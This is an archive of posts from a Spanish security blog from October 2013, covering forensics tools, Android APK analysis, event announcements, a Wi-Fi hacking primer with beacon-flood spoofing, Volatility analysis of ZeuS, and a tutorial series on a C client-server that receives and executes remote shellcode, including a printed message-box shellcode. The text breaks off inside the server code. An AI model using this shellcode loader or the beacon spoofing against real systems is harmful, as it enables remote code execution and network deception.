31 oct 2013

Herramientas forense para ser un buen CSI. Parte XXXIX: BSOD con Not MyFault

Buenas a todos, muchas son las tan amadas "Blue Screen of Death" (BSOD) que os hemos mostrado a lo largo de los últimos años en nuestra cadena "Pantalla Pública", pero en el post de hoy no venimos a jactarnos de ellas sino que veremos cómo forzarlas con la intención lícita de volcar la memoria RAM durante un análisis forense.
Para esta curiosa tarea vamos a emplear una herramienta de Sysinternals: NotMyFault, la cual podéis descargar desde el siguiente enlace:
Con NotMyFaul podremos simular un error a través de un driver provocando un volcado completo de la memoria.Una vez descargada veremos dos versiones de la herramienta en función de nuestra arquitectura (32 ó 64 bits), si la ejecutamos nos encontraremos con la siguiente pantalla:En ella podremos seleccionar el tipo de error que nos gustaría simular.Además, podremos seleccionar el color del texto y del fondo, por si ya nos hemos cansado de los tan típicos pantallazos azules, y preferimos disfrutar de un color nuevo: Yo cómo soy un amante de los clásicos, seguiré con el color azul :)Una vez seleccionados los valores adecuados pulsaremos sobre el botón "Crash", y arrancará el apocalipsis en tu PC: Y en la pantalla, si aún no hemos sido cegados por el fondo azulado, veremos como se está dumpeando la memoria RAM del equipo:
A problem has been detected and windows has been shut down to prevent damageto your computer.DRIVERS_IRQL_NOT_LESS_OR_EQUAL...Dumping physical memory to disk: 100
Ahora, con el equipo apagado y para no alterar las pruebas, podremos clonar el disco duro bit-a-bit y analizar posteriormente en la imagen del disco el fichero %systemroot%\MEMORY.DMP.Para analizarlo podéis tirar de Volatility, del que ya os hemos hablado largo y tendido en Flu Project :)
Nos vemos en el siguiente post,
Saludos!  

30 oct 2013

Análisis estático de binarios con Dependency walker

Buenas a todos, en posts anteriores ya os hemos hablado acerca del análisis estático de binarios con herramientas como peframe. En el post de hoy veremos otra aplicación que nos será de gran utilidad para analizar binarios, Dependency Walker.

Se trata de una herramienta gratuita que nos permitirá analizar exe, dll, ocx y sys, entre otros, tanto de 32 como de 64 bits, y que nos mostrará un diagrama en forma de árbol donde podremos enumerar fácilmente sus dependencias.

 

Para cada módulo encontrado, DW lista las funciones que exporta, trazándolas con las de otros módulos.

DW suele ser utilizado para solucionar problemas de dependencias, con el fin de averiguar qué librería falta para poder ejecutar un determinado programa, pero en el mundo de la seguridad, y en concreto en el del análisis de malware suele ser muy utilizada para estudiar las funcionalidades de una aplicación maliciosa.

Por ejemplo, en la siguiente captura puede verse como el ejecutable "Flu.exe" hace uso de "WSOCK32.DLL", y que es utilizada para abrir una comunicación de la máquina infectada hacia el panel de control de la botnet.

Sin duda otra herramienta para agregar a vuestro kit de utilidades.

Saludos!

29 oct 2013

Herramientas forense para ser un buen CSI. Parte XXXVIII:AndroidManifest.xml

Buenas a todos, en el post de hoy de Herramientas Forense para ser un buen CSI vamos a hablar del archivo AndroidManifiest.xml, de su importancia en el sistema operativo Android, y sobretodo de cómo podemos visualizarlo a la hora de realizar un análisis forense de un programa en formato APK que podamos haber localizado durante nuestra investigación.El Android Manifiest es la base de cualquier aplicación Android, y se encuentra en el archivo AndroidManifest.xml que se encuentra alojado en la raíz de cualquier proyecto Android. En él se declara todo lo que se encuentre dentro de la aplicación:
  • actividades
  • servicios
  • etc
Al crear un proyecto de Android por primera vez se obtiene un archivo Androidmanifest.xml básico que abarca los elementos base de una aplicación, pero según aumenten las funcionalidades de la herramienta, este archivo irá creciendo con nuevas declaraciones.
Dentro del manifiest encontraremos:
  • uses-permission: Dónde se declaran los permisos que necesitará nuestra aplicación para funcionar (GPS, etc.).
  • permission: Dónde se declaran los permisos que las actividades o servicios necesitan.
  • instrumentation: Indica el código que deberá ser invocado cuando un evento clave del sistema sea llamado por el usuario.
  • application: Define el nombre, actividad principal, icono, etc. de la aplicación.
Para poder instalar una aplicación en un terminal con Android, deberemos aceptar los permisos solicitados por el AndroidManifiest.xml:
  • Información personal (calendario, contactos, …)
  • Información del dispositivo (Datos de red, SMS, ..)
  • etc.
Y sino son aceptados, la aplicación no podrá ser instalada.Si descomprimimos un fichero APK (que no deja de ser un archivo comprimido), nos encontraremos además del AndroidManifest.xml, con los siguientes archivos:
  • classes.dex
  • resources.arsc
  • res (carpeta)
  • META-INF (carpeta)
  • lib (carpeta)
Bien, si intentamos abrir el Manifiest, veremos que toda la información se encuentra codificada.Por suerte para nuestro trabajo, contamos con alguna que otra utilidad que nos permitirá de una manera rápida decodificar el archivo manifiest de Android. Una de ellas es Apktool:
Su uso es muy sencillo, una vez descargada la herramienta del enlace anterior, copiaremos el archivo .apk en el PC y ejecutaremos la siguiente instrucción:
apktool d NombreApp.apk ./RutaDeSalida
Por ejemplo, yo decompilaré un apk malicioso que se hacía pasar por una app lícita de Facebook:
apktool.bat d facebook.apk facebook
Y en pocos segundos tendremos nuestro Androidmanifiest.xml en texto plano:
Como veis, nuestra aplicación "falsa" de Facebook nos solicitaba acceso al estado de la WIFI, historial de llamadas, contactos, etc. Algo un poco turbio ¿verdad?
En posteriores artículos de la cadena seguiremos hablando de las aplicaciones de Android
Saludos!

28 oct 2013

My INTECO & Update Be Strong!

La semana pasada tuve el placer de participar en mi primer ENISE en León, séptimo que se realiza. La idea para la que me invitaron fue ir a realizar un debate sobre la ciberdelincuencia. ¿Un debate? Sí, y la experiencia no me defraudó lo más mínimo, INTECO se portó genial conmigo y doy gracias a todas las personas que hicieron que ese congreso saliera así. Tuve el placer de compartir mesa con grandes como José Selvi, Dabo o Lord Epsylon. El debate fue intenso, en algunos momentos cómico, y sobretodo lleno de ideas, de exposiciones, de sentimientos. Creo que si algo nos pedían es que diéramos un toque diferente a todo lo vivido en el congreso, y creo que la gente no quedó defraudada.
Una vez hecho la exposición de lo que fueron mis 24 horas en León, no pisé mucho el barrio húmedo, voy a mostraros una campaña que han lanzado desde INTECO, Update, be strong. Esta campaña ha sido impulsada por INTECO junto con la Secretaría de Estado de Telecomunicaciones y para la Sociedad de la Información (SETSI).
Podéis acceder a la información en la siguiente URL www.updatebestrong.es y updatebestrong.inteco.es. El video, el cual es una pasada, refleja la competencia entre ciberamenazas, ¿Por qué le ponemos a todo el ciber delante?, que los internautas sufrimos cada día. El mensaje es claro, apela a la responsabilidad de todos como usuarios para adoptar las medidas pertinentes. El objetivo al final es una red más segura.
Según me mandaba, mi querida Elena la cual se ha portado genial para que todo estuviera bien, cito:
Esta campaña es una de las acciones con la que INTECO se ha adherido al Mes Europeo de la Ciberseguridad (http://cybersecuritymonth.eu/), una iniciativa que se celebra en octubre en todo el continente promovido por la Agencia Europea de Seguridad de las Redes y de la Información (ENISA). Bajo el lema «La seguridad en internet requiere la participación de todos», persigue fomentar la concienciación en ciberseguridad entre los ciudadanos, modificar su percepción sobre las ciberamenazas y proporcionar información actualizada sobre seguridad  a través de educación, buenas prácticas y concursos.
Me gusta el lema que usan: "En el último año millones de internautas en todo el mundo han sido víctimas del malware, muchos no lo saben". Real como la vida misma. Saludos!P.D. Para levantar alguna envidia os dejo esto: http://www.parador.es/es/parador-de-leon (Vista recomendada)



27 oct 2013

Informe Flu – 147

Como cada semana compartimos con vosotros los “Enlaces de la semana”:

Lunes 21 de Octubre

Martes 22 de Octubre

Miércoles 23 de Octubre

  • El miércoles publicamos la tercera parte de Remote Shellcode Injection (Parte III), donde os enseñamos a ejecutar distintas shellcodes a través del sistema que hemos desarrollado en anteriores entregas de la cadena.

Jueves 24 de Octubre

Viernes 25 de Octubre
 Saludos!

25 oct 2013

Jornada de Seguridad en Internet en la Puebla de Almoradiel

Buenas a todos, hace ya algunas semanas que recibí una llamada de Angelucho, de esas que cual canción del Reno Renardo amenazan con hacer algo a lo que no podrás decir que no. El tono de su voz en esa llamada lo decía todo, y me era bastante familiar. Con ese tono tan característico comenzó otra conversación que acabó en... www.x1redmassegura.com. Nada que no sepáis ya.
En esta ocasión Ángel me propuso colaborar en otra gran causa que estaba moviendo nuestro amigo Longinos por su tierra, La Puebla de Almoradiel (Toledo). Como últimamente digo cuando me proponen dar alguna charla, "lo consultaré con mi agenda" le respondí, y casualmente dieron con uno de los pocos fines de semana que podía escaparme de Madrid sin problemas, por lo que accedí a dar una charla conjunta con Angelucho al estilo de la que impartimos en las Jornadas de Prevención y Seguridad en Internet de Elche el pasado mes de Febrero. Al final por H o por B, y como siempre nos acaba pasando, la cosa se fue de las manos... y Longinos y Angelucho lograron liar a Josep Albors y a Blanca Tulleuda también, llenando así toda una mañana de charlas en las que serán, las primeras Jornadas de Seguridad en Internet de esa bella tierra manchega. Por lo que nos iremos hasta la Puebla de Almoradiel para impartir una serie de charlas de concienciación para que los habitantes de la Puebla y de otras localidades cercanas aprendan trucos y consejos para sentirse más seguros en Internet.
El evento se celebrará el Sábado 16 de Noviembre del 2013. A continuación os dejo la agenda final:
9:00 (Llegada de asistentes)9:15 (Presentación)9:30
  • Ponente:  Juan Antonio Calles.
  • Duración: 40 minutos.
  • Título: Claves para una navegación segura.
  • Descripción: Durante la ponencia se analizarán algunas de las claves más importantes para navegar seguro en Internet, a través de ejemplos y con varias experiencias de casos reales.
10:15
  • Ponente:  Josep Albors.
  • Duración: 40 minutos.
  • Título: Ordenador infectado. Beneficio asegurado.
  • Descripción: A pesar de que se ha ido concienciando a los usuarios sobre lo peligrosas que son las amenazas informáticas, aun hay mucha gente que no se preocupa en proteger sus sistemas porque no consideran que sean un objetivo lo suficientemente atractivo para los cibercriminales. En esta charla veremos que se puede hacer con un ordenador infectado, sin importar que se trate de una multinacional o de un usuario medio para que nos concienciemos de una vez de que se pueden obtener muchos y valiosos datos y recursos hasta del ordenador considerado como más insignificante.
11:00 (Descanso y desayuno)11:25
  • Ponente: Ángel Pablo Avilés.
  • Duración: 50 minutos.
  • Título: Menores y su cibermundo.
  • Descripción:
    • Nociones generales sobre Internet y los menores.
    • Bondades y Virtudes de la red en su cibermundo.
    • Peligros que les acechan y como identificarlos.
    • El Ciberacoso en el ámbito escolar (Ciberbullying, sexting, ciberbaiting)
    • El Grooming ( Fases y consecuencias)
    • Perfil de un ciberdepredador
12:20
  • Ponente: Las tres hermanas.
  • Duración: 20 minutos.
  • Título: Internet #Diver-Útil.
  • Descripción: En esta charla veremos un recorrido sobre para qué usan internet en cada edad: 7 años, 10 años, 12 años que van desde lo básico de cuando aprenden a leer / escribir a redes sociales. Y ver con casos reales lo más habitual que ellos mismos se encuentran.
12:45
  • Ponente: Blanca Tulleuda.
  • Duración: 40 minutos.
  • Título: Soy feo, fuerte y formal.
  • Descripción: El concepto de familia es actualmente amplio y no existe escuela de cómo educar a nuestros hijos en esta nueva sociedad donde el estrés, la globalización, y la rutina pueden hacernos perder el foco sobre el por qué, cuándo y cómo usan y se enfrentan al mundo digital y virtual nuestros pequeños. Debemos fortalecer el compromiso como familia con la escuela y la sociedad también en lo relativo al uso de las nuevas tecnologías. Y nunca parar de esforzarnos por aprender esto que para nosotros es solo una herramienta en un ordenador, y que para ellos es su forma de vida: viven conectados. Nuestra experiencia vital como adultos les ayudará a conocer y evitar caer en los peligros de la Red que les acechan constantemente. Y que lo evitemos garantizara que le saquen el mayor provecho de uno de los mayores “inventos” de la historia de la humanidad. Recorramos este camino en una breve charla.
13:30 (Turno de preguntas)14:00 (Fin de la Jornada)
Si queréis conocer más datos os remito a la web oficial del evento http://internetmassegura.es/Me gustaría aprovechar el post también para felicitar a Angelucho por el tan merecido premio Héroe Digital que recibió el pasado miércoles, un abrazo de todo el equipo de Flu Project.Saludos

24 oct 2013

Hacking Wifi - Parte I – Introducción y Beacon Frames

Las redes Wi-Fi son muy peligrosas porque son redes que no puedes ver físicamente, es decir, no puedes poner protecciones físicas como sí puedes hacer con una red cableada. Además las redes Wi-Fi atraviesan las paredes con lo que deja de estar a tu alcance y es complicado localizar a un atacante si no puedes verle físicamente. Los ataques pasivos, como capturar el tráfico de la red es prácticamente indetectable y se pueden hacer desde muy lejos.
Para hacer las pruebas os recomiendo la tarjeta Alfa Networks AWUS036h. En Kali ya trae sus drivers instalados y es capaz de inyectar paquetes.
Vamos a ver que capturar paquetes wireless es un arte. El concepto es muy similar al de capturar en una red cableada, la diferencia es que aquí se pone la interfaz de red en modo monitor (igual que cuando capturamos en red cableada ponemos la interfaz en modo promiscuo) para poder aceptar todo el tráfico, y no solo los paquetes en los que seamos nosotros el destinatario.
Esto lo haremos con la herramienta Airmon-NG de la suite Aircrack-NG. Si utilizamos una interfaz de red externa como la que he recomendado, a lo mejor hay que levantarla a mano. Para ello primero listaremos todas las interfaces, caidas y levantadas:
# ifconfig -a
Y despues veremos las interfaces levantadas:
# ifconfig
Si aparece la primera vez, y no en la segunda, quiere decir que está caida y tendremos que levantarla de la siguiente forma:
# ifconfig wlan0 up
Ahora tenemos que crear una interfaz en modo monitor encima de nuestra inferfaz de red Wi-Fi que vayamos a utilizar, en nuestro caso wlan0.
# airmon-ng start wlan0
Podemos comprobar que se ha creado con
# iwconfig
Donde verás que en el campo “modo” pone “Monitor”.
Ahora abriremos Wireshark y capturaremos con la interfaz “mon0″ que es la que se nos ha creado en modo monitor. Podemos ver los paquetes del protocolo 802.11.

Capturar paquetes Wi-Fi (802.11) es más complicado de lo que parece. En las redes Wi-Fi se puede transmitir en 3 frecuencias distitnas:
- 2.4GHz (802.11b/g/n)- 3.6GHz (802.11y)- 4.9/5.0GHz (802.11a/h/j/n)
Cada una de estas frecuencias se divide en canales (cada canal es una frecuencia especifica dentro del rango correspondiente). Cada país tiene una lista de canales permitidos, quienes pueden usar estos canales y la máxima potencia con la que puedes transmitir. En esta foto podéis ver algunos de los canales que se usan en España. Hay países en los que es legal y otros en los que está prohibido utilizar determinados canales.

Las tarjetas de red vienen configuradas siguiendo esta normativa, pero hay tarjetas que se pueden cambiarse }:).
Recordar que una tarjeta de red solo puede capturar en una banda (2.4 , 3.6 ó 5) y un canal a la vez. En la práctica que vamos a hacer vamos a ir cambiando de un canal a otro de una forma automática.
Primero vamos a cambiar de canal nuestra tarjeta de red:
# iwconfig wlan0 channel 1
# iwconfig mon0 channel 1
Nos hemos cambiado al canal 1, y si vemos la configuración de la interfaz de red con “iwconfig” podemos ver como ha cambiado el valor de la frecuencia en la que estamos y ahora aparece 2.412 que como podemos ver en la tabla anterior corresponda al canal 1.
Ahora vamos a empezar utilizar la herramienta Airodump-NG para capturar el trafico e ir saltando por todos los canales. Por defecto la herramienta trabaja en los canales de la frecuencia 2.4Ghz aunque podemos configurarla para capturar en otras frecuencias y otros canales.
Ahora vamos a ver todos los puntos de acceso que hay emitiendo, estos están situados en la parte de arriba. También veremos todos los dispositivos cliente que hay por la red en la parte de abajo.
# airodump-ng mon0

Los paquetes que estamos analizando, del tipo 802.11, se dividen en 3 tipos de paquetes:
- Management- Control- Data

Cada uno de estos tipos tiene a su vez subtipos como veis en la foto. En este y los sucesivos post nos centraremos solo en los paquetes relacionados con la seguridad y el hacking.
Cada punto de acceso tiene configurado un ESSID,  para poder ser reconocido por los dispositivos clientes que se quieran conectar a él. El punto de acceso emite Beacons Frames para anunciar su presencia y que todos los clientes sepan que hay un punto de acceso disponiblei.
Ahora vamos a ver estos Beacons Frames. Arrancaremos Wireshark y pondremos a capturar en la interfaz mon0. Podemos ver mucho tráfico. En la columna Info podemos ver como algunos de estos paquetes son Beacon Frames. Seleccionamos uno de ellos y nos vamos a la ventana de en medio del Wireshark, donde nos desgrana el paquete dividiendolo en capas y cada una de ellas en sus campos correspondientes. Seleccionamos la pestaña IEEE 802.11 Beacon Frame. Y podemos ver como el subtipo de paquete es 8, y si vamos a la tabla anterior podemos ver que el tipo 8 (1000 en binario) corresponde a un paquete de tipo Beacon.

Nos damos cuenta de que toda la información de este paquete va en texto plano, es decir, no va cifrada. Esto permitirá a un atacante crearse paquetes de este tipo, Beacons Frames. Con lo cual cualquiera podrá inyectar este tipo de paquetes y con esto conseguir que todos los dispositivos que haya por la zona crean que hay un nuevo punto de acceso.
Pues vamos a realizar la prueba. Esto lo haremos con la herramienta MDK3 de Kali. Utilizaremos la opción de “Beacon Flood Mode” (b) para inyectar paquetes del tipo Beacon Frames en todos los canales provocando confusión en los dispositivos cliente de la zona. Con la opción –n elegiremos el nombre de la red que en este caso será “Pwneado!”

Hemos simulado la existencia de una red llamada Pwneado! 
¿Que conclusiones podemos sacar de esta pequeña prueba de concepto?
- Que podemos hacer Spoofing de los paquetes.
- Que las cabeceras de los paquetes de Management y Control van en texto plano y no tienen ningún tipo de cifrado o protección.
Si quisiésemos hacer algo similar en una red cableada el atacante debería de estar dentro de esa red, pero la diferencia es que aquí el atacante no tiene que estar dentro de ninguna red.
Más adelante vamos a ver cómo sacar beneficio de esto, forzando a un cliente que se conecte a ti y no al punto de acceso legitimo.

Artículo cortesía de: Roberto Lopez - @leurian

 

23 oct 2013

Remote Shellcode Injection (Parte III)

Buenas a todos, en el post de hoy vamos a continuar la cadena Remote Shellcode Injection probando nuestro cliente y servidor, que ya finalizamos en la última entrega de la cadena.

El primer paso será ejecutar el cliente que acabamos de programar. Una vez ejecutado permanecerá a la espera de que el servidor sea arrancado y le envíe la primera petición:

A continuación iniciaremos el servidor y comenzará la comunicación:

Si todo ha ido correctamente aparecerá en la máquina donde se ejecutaba el servidor un mensaje informativo con el texto "Hola", que se encontraba encodeado dentro de nuestra shellcode de ejemplo:

Ahora vamos a generar con msfpayload una shellcode con el texto que queramos:
/* * windows/messagebox - 271 bytes * http://www.metasploit.com * VERBOSE=false, EXITFUNC=process, TITLE=FluProject,  * TEXT=FluProjectRules!, ICON=INFORMATION */unsigned char buf[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56""\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52""\xe8\x61\xff\xff\xff\x68\x63\x74\x58\x20\x68\x72\x6f\x6a\x65""\x68\x46\x6c\x75\x50\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58""\x20\x20\x20\x68\x6c\x65\x73\x21\x68\x63\x74\x52\x75\x68\x72""\x6f\x6a\x65\x68\x46\x6c\x75\x50\x31\xc9\x88\x4c\x24\x10\x89""\xe1\x31\xd2\x6a\x40\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55""\x08";
Una vez que ya la tenemos generada, la añadimos a la variable "sc", tal y como vimos en artículos anteriores:

 Si compilamos, e iniciamos de nuevo nuestro cliente y servidor, veremos como ahora en la máquina aparece un mensaje con el texto "FluProjectRules!" :)

Con este sencillo ejemplo de hoy ya sabéis como modificar el programa para ejecutar cualquier tipo de shellcode. En próximos artículos haremos uso de shellcodes más curiosas para hacer nuevas cosas sobre la máquina que la ejecutemos.

Saludos!

22 oct 2013

Mañana tendrá lugar el ESET Security Forum II y la entrega de los premios Heroes Digitales

Buenas a todos, como algunos ya sabréis, mañana tendrá lugar el evento ESET Security Forum II.
Ya tuvimos el placer de participar en la primera edición de este evento, en el que se reúnen profesionales del mundo de la seguridad de la información y de las nuevas tecnologías para debatir sobre temas de seguridad recientes que están en boca de todos.
Esta será la agenda del evento:
  • 18:00: Recepción y acreditación de invitados
  • 18:30-19:00: Rueda de prensa
  • 19:30-20:30: ESET Security Forum 1ª parte
  • 20:30-21:00: Break con jamoncito, bebidas y otras viandas
  • 21:00-22:00: ESET Security Forum 2ª parte
  • 22:00-23:00: Cóctail-cena y entrega de los premios a los Héroes Digitales
  • 23:00-hasta que el cuerpo aguante: barra libre, copas y networking
Junto con el evento, y como veis en la agenda, tendrá lugar también la entrega de los premios Heroes Digitales
A continuación os enumeramos las candidaturas más votadas en los premios:
  • Héroe Digital Anónimo
    • Bajo la red
    • 1 Gb de información
    • Forospyware
  • Héroe Digital Institucional
    •  Oficina de Seguridad del Internauta INTECO
    •  Dirección General de la Guardia Civil
    •  Cibercentro de Tudela
  • Héroe Digital de los Cuerpos de Seguridad
    •  Foro de la Guardia Civil
    •  Puesto principal Guardia Civil de Illescas
    •  Grupo de Delitos Telemáticos de la Guardia Civil
  • Héroe Digital Periodístico
    •  Ventanas a la Red Radio3W
    •  Revista Red Seguridad
    •  Hoja de Reuter empatada con El País Tecnología
  • Héroe Digital Bloguero
    •  El blog de Angelucho
    •  Seguridad informática a lo Jabalí
    •  SecuritybyDefault
  • Héroe Digital a la mejor iniciativa educativa en seguridad
    •  Protégeles
    •  X una Red más segura
  • Héroe Digital en las redes sociales
    •  Foro de la Guardia Civil
    •  RootedCon
    • @infospyware
El evento y posterior fiesta se celebrará en OUIMAD Madrid (c/ Jorge Juan, 99).
¿Te lo vas a perder?
Saludos!

21 oct 2013

Volatility Framework: Old ZeuS Malware – MalwareCookBook (Parte II)

En el artículo anterior de Volatility Framework habíamos descubierto en EXE en el Userinit, el cual nos parecía sospechoso. Hay que recordar que encontramos un proceso svchost.exe sospechoso, y que también debemos analizar. Para ello utlizaremos el plugin de Volatility pstree, el cual nos permite saber rápidamente que procesos han creados otros, es decir, los PPID. Ejecutamos el plugin pstree y obtenemos la siguiente información:

En esta imagen se puede observar que el proceso svchost.exe sospechoso es creado por el PID 676, correspondiente a services.exe, y éste a su vez por winlogon.exe. En este punto sabemos, con lo visto en el anterior artículo y lo que hemos visto aquí, que el proceso winlogon.exe fue quién lanzó sdra64.exe, que el proceso 856 (svchost.exe) está conectado a Internet y sería interesante ver si el Firewall en la máquina se encuentra activado o no. Pero lo que vamos a hacer es bajar un plugin de volatility denominado malware.py, con el que podemos ver los hooks que tiene un proceso. En la siguiente imagen se puede visualizar como añadir malware.py a los plugins de volatility.

Al ejecutar la siguiente línea vol apihooks -f <file RAM dump> -p 856, obtenemos que el proceso dispone de dos hooks. A continuación podríamos utilizar el plugin malfind del propio Volatility para poder extraer información del proceso y verificar que no es una cabecera "normal". Vamos a ver que hay una inyección en dicho proceso. La sintaxis es la siguiente vol malfind -f <file RAM dump> -p 856 -D <dir dump>.

Analizando los volcados que nos devuelven podemos encontrar una imagen de una aplicación que no puede correr en modo DOS.

Por último, vamos a configurar mediante Yara y sus reglas que tipo de malware es el que hemos localizado en la captura de RAM. Tenemos que descargarnos las reglas de Yara. La sintaxis de la ejecución es sencilla vol malfind -f <file RAM dump> -p 856 -Y <dir Yara> -D <dir dump>. Gracias a Yara podemos detectar que el malware alojado es un Zbot. Os adjuntamos imagen del fichero de rules de Yara.

Hasta aquí el ejemplo práctico de Volatility Framework y un MalwareCookBook, seguiremos trabajando con Volatility para traeros nuevas pruebas de concepto, y que podáis montaros vuestro laboratorio.

20 oct 2013

Informe Flu – 146

Como cada semana compartimos con vosotros los “Enlaces de la semana”:

Lunes 14 de Octubre

Martes 15 de Octubre

Miércoles 16 de Octubre

Jueves 17 de Octubre

Viernes 18 de Octubre
Sábado 19 de OctubreSaludos!

18 oct 2013

Bash Scripting: Remember ICMP Practices (Bash Boys!)

Hoy hablamos de los recuerdos de hace unos años donde nos pedían ejercicios, que por entonces nos parecían complejos y que a día de hoy nos parecen bastante normalitos. Nuestra etapa universitaria, donde te enseñaban cosas que te gustaban, y otras que no tanto, donde aprendías a relacionarte entre césped y césped,  y por supuesto entre mujeres que iban y venían... Hoy queremos recordar aquellos años con un ejercicio para fanáticos del scripting, los Bash Boys de la terminal.

Problema tipo:

Para un administrador de redes es importante contar con una serie de herramientas que le automaticen la gestión de la red. El alumno debe implementar un script llamado que:

  1. Reciba una lista de direcciones IP o nombres de máquina. Puede recibir la lista de la siguiente forma:
    1. a)  Por medio de argumentos, precedidos por el token ”hosts”
                       $ ./connect.sh hosts maquina1 [maquina2 ... ...]
    2. b)  Por medio de un fichero, indicándolo por el token ”file” $ ./connect.sh file fichero_hosts. El contenido de fichero hosts es una máquina por línea.
                       maquina1                 maquina2                 ....
    3. c)  Si no se usa ni ”hosts”, ni ”file”, se debe leer por la entrada estándar (mostrando el prompt ”>”), hasta fin de fichero.
  2. Por cada máquina, el script debe indicar si está activa o no (más concretamente si contesta a ping o no). Ninguna otra información debe aparecer en la pantalla.
  3. En caso de usar la opci ́on ”file”, el script debe comprobar la existencia del fichero indicado y que tiene permisos de lectura sobre el mismo. 

Nuestra solución:

En primer lugar tendremos que pensar en el paso de parámetros de hosts y file. Para ello utilizamos un case en bash, y seleccionar el parámetro primero ($1) y ver si contiene una de esas dos palabras. En el caso de contener la palabra hosts, recorreremos con un bucle for y el uso de la variable $* todos los elementos que son pasados como parámetros al script, exceptuando el $1 que tendremos que compararle para no procesarle. Una vez se van procesando los elementos desde $2 hasta $N, se van realizando los pings, redireccionando su salida a /dev/null. De este modo evitamos que se muestre información por pantalla, algo que no necesitamos, simplemente controlar si los ping se están realizando o no, eso lo conseguimos con el if.

En el caso de file, simplemente tendremos que controlar que el fichero exista y tengamos permiso de lectura. Después iremos leyendo mediante el while el contenido del fichero, y por cada línea realizaremos lo mismo que antes con el ping, para comprobar si hay conectividad. A continuación mostramos un trozo de código:

Para el caso del prompt o que no se metan parámetros de entrada, lo que haremos es colocar un while hasta encontrar un EOF (fin de fichero). El código es algo bastante sencillo como se puede comprobar a continuación:

Ahora os mostramos unas capturas con las ejecuciones en los distintos casos. El primer caso es el de los hosts consecutivos en la ejecución del script:

En el segundo ejemplo de salida utilizamos el parámetro file para indicar que lo siguiente que introducimos es un archivo de texto, el cual es comprobado en su existencia y en sus permisos.

Por último, utilizamos la entrada estándar para recibir los parámetros, existiendo dos casos, el que lo escribe el usuario mediante un prompt y el que se lo pasamos mediante un pipe y la ejecución de cat sobre el fichero de texto.

Esperamos que este problema antiguo de Universidad de bash, y su solución os hayan parecido interesante. Esperamos proponer más problemas de este tipo o mayor entidad y proponer soluciones. Al final de un ingeniero lo que se espera son sus soluciones, y no los problemas que pueda dar.

17 oct 2013

Remote Shellcode Injection (Parte II)

Buenas a todos, en el post vamos a continuar con la cadena  de artículos en la que estamos viendo desde 0 como desarrollar un programa en ANSI C, que nos permita ejecutar remotamente una shellcode cualquiera a través de una arquitectura cliente-servidor.
En el pasado artículo de la cadena aprendimos a desarrollar un pequeño cliente, que se encargaba de enviar a otra máquina una shellcode para que la ejecutase y la cargase en memoria. Hoy veremos como desarrollar el servidor, que acepte esa shellcode y la cargue en memoria.
Como veréis, ambos programas compartirán porciones de código, por lo que serán pocas las líneas que deberemos incluir, facilitándonos así su comprensión.

Programación

En primer lugar incluiremos las librerías necesarias. Al igual que en el cliente, necesitaremos cargar winsocks.h para poder trabajar con sockets.
Tras ello declararemos unas variables predefinidas con el tamaño del buffer y el puerto utilizado para la conexión, así como las variables de tipo cadena que utilizaremos para almacenar los buffers para el envío y recibimiento de datos:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <conio.h>
#include <time.h>
#define MAXBUFLEN 512
#define PORT 4950
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
A continuación añadiremos una función que recibirá como argumento la shellcode, y la cargará en memoria:
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
Tras la función maestra de este programa, crearemos las estructuras para trabajar con los sockets e inicializaremos la DLL de sockets:
WSADATA wsaData;
 SOCKET conn_socket;
 struct sockaddr_in server;
 struct hostent *hp;
 int resp;
 resp=WSAStartup(MAKEWORD(1,0),&wsaData);
 if(resp){return -1;}
El paso siguiente será obtener la dirección IP. En nuestra caso os recordamos que lo hemos situado en “localhost” para hacer pruebas en local:
hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
Ahora procederemos a crear el socket:
conn_socket=socket(AF_INET,SOCK_STREAM, 0);
 if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
 memset(&server, 0, sizeof(server)) ;
 memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(PORT);
Después realizaremos la conexión con el servidor y copiaremos en la variable SendBuff el texto a enviar:
// Conexion servidor
 if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
 {
 closesocket(conn_socket);
 WSACleanup();
 getchar();
 return WSAGetLastError();
 }
 strcpy(SendBuff,"1- Enviame la Shellcode");
Ahora abriremos la comunicación con el cliente solicitándole la shellcode. Para ello enviaremos un mensaje cualquiera. A continuación recogeremos la shellcode que nos envíe el cliente y cerramos el socket:
send(conn_socket,SendBuff,sizeof(SendBuff),0);
 recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0);
 closesocket(conn_socket);
 WSACleanup();
Ya tenemos la shellcode en la variable RecvBuff, ahora solo nos queda pasársela a la función "x" para cargarla en memoria:
//Ejecucion Shellcode
x(RecvBuff);

Código completo del servidor

A continuación os dejamos el código completo del servidor:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
